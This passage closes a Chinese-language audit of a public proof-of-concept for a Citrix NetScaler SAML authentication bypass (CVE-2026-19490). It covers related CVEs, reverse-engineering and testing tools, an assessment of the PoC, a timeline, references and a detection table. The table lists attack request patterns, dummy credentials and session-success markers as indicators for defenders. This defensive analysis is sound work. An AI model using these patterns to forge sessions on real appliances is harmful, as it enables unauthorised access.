同期同族:CTX696939 同日修复的 CVE-2026-19489(SIP ALG 内存溢出 DoS)说明 Citrix 把一个逻辑缺陷和内存缺陷打包发布;相关讨论中的 CVE-2026-8451(SAML IdP 内存过读,8.8)则是同一产品 SAML 栈的另一面。做资产风险排序时,这三个要分开评估、分开复核版本。
ounter(counterh210. 推荐工具链与方法
- 逆向核验:objdump(定点反汇编,
-M intel --start-address/--stop-address)+ strings(-t x带偏移)足够覆盖本例;想看全貌再上 Ghidra/IDA。方法是:先strings找日志锚点 → 锚点交叉引用定位分支 → 比对同函数内 POST/Redirect 两条路径的参数差异。 - 流量与重放:Burp(经
--proxy全量观测)+ curl(单请求重放)+xmllint --format(SAML XML 整形);SAML 专项可用 SAML Raider(Burp 插件)做签名剥离对照实验。 - 批量验证:nuclei 自写模板做
--safe-oracle等价的无害判定(matcher 挂Malformed Assertion与 issuer 错误页差分),比直接跑 PoC 更适合资产大盘。 - 实验室:Docker CPX +
lab/setup-cpx.sh复现构建与配置状态;需要完整会话签发时用 Developer License VPX。 - 资产管理:测绘平台指纹建议用”设备特征 + 构建号”双层(NetScaler 的登录页/错误页常带版本),版本比对 14.1<73.32 / 13.1<63.21 圈定候选,再进配方 1 流程。
ounter(counterh211. 局限与评价
做得好的:可复现的 RE 证据链(镜像 tag + 固定偏移);--safe-oracle 把”探测”与”利用”在会话层面切开,给了防守方同款自查手段;--mint 的自举设计与踩坑注释(SAML-first 假阴性);InResponseTo 省略的规范级处理;xyz 删除标记的误报防线;负对照演示;对自身局限(480 许可墙)的诚实说明。
局限:mint 失败时的 SP metadata 兜底只给提示不做自动拉取;无并发/批量参数,大批量资产要靠外层脚本;输出是人读文本,无机读 JSON 模式;payload 不轮换、UA 固定,在强监控环境下特征明显;单 commit 无社区复核,信任建立在本次审计之上。
一句话定位:这是一个把”公告黑盒”还原成”可验证白盒”的研究型 PoC,工程克制、边界清晰,适合作为 SAML 绕过类漏洞的教学样本和授权测试的验证工具;它不是武器平台,也不应该被当作用来自动化扫全网的家伙什——设计者显然也没这个意图。
ounter(counterh2附录 A:时间线
- 2026-08-19:Citrix 发布 CTX696939,14.1-73.32 / 13.1-63.21 修复,CVE-2026-19490(认证绕过)与 CVE-2026-19489(SIP ALG DoS)同批
- 2026-09:本仓库发布根因分析与 PoC(单 commit 快照,即本次审计对象)
ounter(counterh2附录 B:参考资料
- Citrix 官方公告 CTX696939
- NVD – CVE-2026-19490
- SOC Prime 漏洞分析
- Rapid7 ETR 分析
- Secure-iss 公告解读
- 审计对象:
github.com/TarPeg007/CVE-2026-19490(2026-09 快照)
ounter(counterh2附录 C:检测特征速查(IOC)
| 类型 | 值 | 说明 |
| — | — | — |
| URI 模式 | GET /cgi/samlauth?SAMLResponse=... | 协议级强信号,浏览器正常流量不会出现 |
| UA(可变) | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | 工具硬编码,缺完整 Chrome 串 |
| mint 哑凭据 | login=cve-probe&passwd=cve-probe @ /nf/auth/doAuthentication.do | 自举回退路径特征 |
| safe-oracle Issuer | https://safe-oracle.invalid/idp | .invalid 保留域,不会是真实 IdP |
| 默认 NameID | [email protected] | 未显式传参时的载荷身份 |
| 会话成功标志 | 302 → /vpn/ + 非xyz NSC_AAAC/NSC_TASS | 真实会话(区别于 xyz 删除标记) |
报告完。分析过程下载的仓库与压缩包已在交付后从本机删除。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网安之家-CyberHomestead 《CVE-2026-19490》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论